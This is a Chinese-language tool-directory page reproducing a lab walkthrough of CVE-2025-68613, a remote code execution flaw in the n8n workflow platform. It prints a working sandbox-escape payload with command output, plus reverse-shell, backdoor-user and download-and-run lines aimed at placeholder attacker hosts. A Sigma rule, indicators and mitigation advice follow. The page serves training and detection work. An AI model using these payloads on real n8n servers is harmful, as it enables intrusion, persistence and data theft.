Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
n8n-cve-2025-68613-thm — 关于利用CVE-2025-68613(n8n工作流自动化中的一个严重RCE漏洞)的教育性演练。涵盖表达式注入、沙箱逃逸、载荷开发以及通过TryHackMe实验室的检测策略。 | Kitploit
工具/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
权限提升漏洞分析漏洞利用Web应用程序漏洞利用命令与控制学习与教育事件响应Payload 开发实验室与实践
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

关于利用CVE-2025-68613(n8n工作流自动化中的一个严重RCE漏洞)的教育性演练。涵盖表达式注入、沙箱逃逸、载荷开发以及通过TryHackMe实验室的检测策略。

128个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2025-68613 – n8n 严重远程代码执行漏洞利用

概述

本仓库记录了对 CVE-2025-68613 (CVSS 9.9) 的实操利用过程,该漏洞是影响 n8n 工作流自动化平台(版本 0.211.0 至 1.120.3)的一个严重远程代码执行漏洞。

此次利用在受控的 TryHackMe 实验环境中 遵循道德规范 执行,仅用于教育目的。


漏洞摘要

字段值
CVE IDCVE-2025-68613
CVSS 分数9.9(严重)
公开日期2025年12月19日
受影响产品n8n 工作流自动化平台
漏洞类型表达式注入 → 沙箱逃逸 → 远程代码执行
攻击向量已认证用户(默认)
修复版本1.120.4, 1.121.1, 1.122.0+
受影响版本0.211.0 - 1.120.3

n8n 是什么?

n8n 是一个开源的工作流自动化平台,允许用户通过可视化方式连接应用和服务以实现任务自动化。其特性包括:

  • 基于节点的工作流架构:每个节点代表一个操作(API 请求、数据处理、电子邮件等)
  • 400+ 原生集成:预构建的多种 API 和服务连接器
  • 代码节点:自定义 JavaScript 或 Python 代码执行
  • 表达式求值:包裹在 {{ }} 中的动态表达式作为 JavaScript 求值

部署模式

  • 自托管实例(本地或私有云)
  • 云托管(n8n.cloud)托管服务
  • 企业网络内部的自动化工具

技术背景

漏洞链

该漏洞存在于 n8n 的 工作流表达式求值系统 中。当已认证用户配置工作流时,其输入会被当作 JavaScript 代码处理,但缺乏足够的沙箱隔离。

上下文升级链

root@kitploit:~
表达式沙箱
    ↓(通过 'this' 逃逸)
Node.js 全局上下文
    ↓(访问 mainModule)
模块系统 (require)
    ↓(加载 child_process)
系统命令执行

关键缺陷

  1. 不安全的表达式求值:包裹在 {{ }} 中的用户表达式在没有适当上下文隔离的情况下被作为原始 JavaScript 求值
  2. 沙箱逃逸:对 this 对象的访问允许从预期的沙箱限制中逃逸
  3. 无限制的模块访问:process.mainModule.require() 提供了对 Node.js 模块系统的访问
  4. 危险的模块加载:可以加载 child_process 模块以执行系统命令
  5. 无有效身份认证保护:任何已认证用户均可利用该漏洞

利用载荷分解

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

说明:

  • this → Node.js 全局对象
  • this.process → Node.js 进程对象
  • process.mainModule → n8n 应用的根模块
  • .require('child_process') → 加载系统命令执行模块
  • .execSync('COMMAND') → 同步执行 shell 命令
  • .toString() → 将 Buffer 输出转换为可读字符串

利用步骤演示

步骤 1:身份认证

访问易受攻击的 n8n 实例并使用有效凭据登录。

实验凭据:

  • 邮箱:[email protected]
  • 密码:Try12345!

登录界面


步骤 2:欢迎页面与创建工作流

登录后,您会看到工作流创建界面。点击“从头开始”以创建新工作流。

欢迎界面


步骤 3:添加手动触发器

点击“添加第一步”并搜索“手动触发器”。该节点作为工作流执行的入口点。

手动触发器设置

目的: 手动触发器节点允许通过 UI 中的“执行工作流”按钮手动执行工作流,非常适合测试。


步骤 4:配置工作流并添加字段映射

添加“编辑字段”节点以进行字段映射。这是漏洞被利用的位置。

工作流配置

配置步骤:

  1. 点击“添加字段”以添加新的字段映射
  2. 将模式设置为“表达式”
  3. 这允许 JavaScript 代码求值

步骤 5:执行 ID 命令

注入载荷以执行 id 命令并获取用户/权限信息。

载荷:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

结果:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

ID 命令执行

获取的信息:

  • 以非 root 用户运行(uid=1000)
  • 组成员身份(gid=1000)
  • 潜在权限提升路径

步骤 6:使用 LS 枚举文件系统

修改载荷以执行 ls 命令并列出目录内容。

载荷:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

LS 命令执行

输出显示:

  • 存在 flag 文件:flag.txt
  • 目录结构和文件权限
  • 额外的侦查数据

步骤 7:提取敏感数据

使用 cat 命令读取 flag 文件,完成利用。

载荷:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

获取的 Flag:

root@kitploit:~
THM{n8n_exposed_workflow}

Flag 提取


高级利用技术

1. 反弹 Shell

建立交互式 Shell 访问以实现持久控制:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. 创建后门用户

添加系统用户以实现持久访问:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. 下载恶意载荷

获取并执行远程代码:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. 权限提升枚举

检查 sudo 权限:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. 环境侦查

提取环境变量:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

检测策略

Web 代理日志 (Nginx)

配置代理以记录请求主体用于分析:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Sigma 检测规则

通过工作流 API 请求检测利用尝试:

root@kitploit:~
title: CVE-2025-68613 - n8n 表达式注入远程代码执行
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

进程创建监控

监控由 n8n 产生的可疑子进程:

  • 监控意外的 child_process 产生
  • 监控反弹 Shell 连接(bash, nc)
  • 追踪可疑的文件下载/执行
  • 对权限提升尝试进行告警

日志位置

  • n8n 日志:/root/.n8n/logs/
  • 系统日志:/var/log/auth.log, /var/log/syslog
  • 工作流执行日志:n8n 数据库

入侵指标

  • 工作流字段中包含可疑 JavaScript 表达式:
    • process.mainModule
    • require('child_process')
    • execSync 或 spawn
  • 异常的 child_process 执行
  • 意外的工作流修改
  • 登录失败后成功访问
  • 非预期目录中的文件系统更改

利用时间线


缓解与预防

立即措施

  1. 更新 n8n 至已修复版本:

    • v1.120.4
    • v1.121.1
    • v1.122.0 或更高
  2. 限制网络访问

    • 实施防火墙规则以限制对 n8n 的访问
    • 使用 VPN 或堡垒主机进行管理访问
    • 若不必要,禁用外部暴露
  3. 强身份认证

    • 强制使用强密码
    • 实施多因素认证
    • 尽可能使用 SSO 集成
  4. 监控与日志

    • 启用所有 n8n 活动的详细日志记录
    • 实时监控工作流修改
    • 为可疑表达式设置告警

长期安全措施

  1. 输入验证与清理

    • 永远不要将用户输入作为代码求值
    • 实施表达式白名单
    • 清理所有工作流定义
  2. 沙箱实现

    • 在受限沙箱中隔离表达式求值
    • 限制对 Node.js API 的访问
    • 使用虚拟机或容器进行隔离
  3. 最小权限原则

    • 以最低必要权限运行 n8n
    • 限制文件系统访问
    • 限制网络连接
  4. 代码审查与安全测试

    • 定期对自定义节点进行安全审计
    • 实施 SAST/DAST 工具
    • 开展威胁建模练习

参考链接

  • n8n 官方文档
  • n8n 安全策略
  • Node.js 子进程模块
  • OWASP 代码注入
  • CWE-95: 动态求值代码中指令的不当中和
  • CVSS v3.1 计算器

实验信息

  • 平台:TryHackMe
  • 房间:n8n: CVE-2025-68613
  • 房间 URL:https://tryhackme.com/room/n8ncve202568613
  • 难度:中等至困难
  • 学习目标:表达式注入、沙箱逃逸、远程代码执行、检测策略

免责声明

本文档仅用于 教育和授权安全测试目的。所描述的利用技术旨在:

  • 授权渗透测试
  • 受控环境中的安全研究
  • TryHackMe 实验练习
  • 理解安全漏洞

未经授权访问计算机系统是 非法的。请始终在进行安全测试前获得适当的书面授权。


仓库结构

root@kitploit:~
.
├── README.md                    # 本文件
├── exploitation-details.md      # 技术深度剖析指南
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

作者注

此 writeup 记录了在 TryHackMe 实验环境中成功利用 CVE-2025-68613 的过程。该漏洞凸显了安全代码求值的重要性以及自动化平台中沙箱实现不足的危险性。

理解此漏洞有助于攻击安全团队识别类似问题,也有助于防御团队制定更有效的检测策略。

下载工具
步骤操作时间
1访问 n8n 实例秒
2创建/修改工作流< 1 分钟
3添加字段映射节点< 1 分钟
4注入并执行 id 命令< 30 秒
5使用 ls 枚举文件系统< 1 分钟
6使用 cat 提取数据< 30 秒
总计完整远程代码执行利用< 5 分钟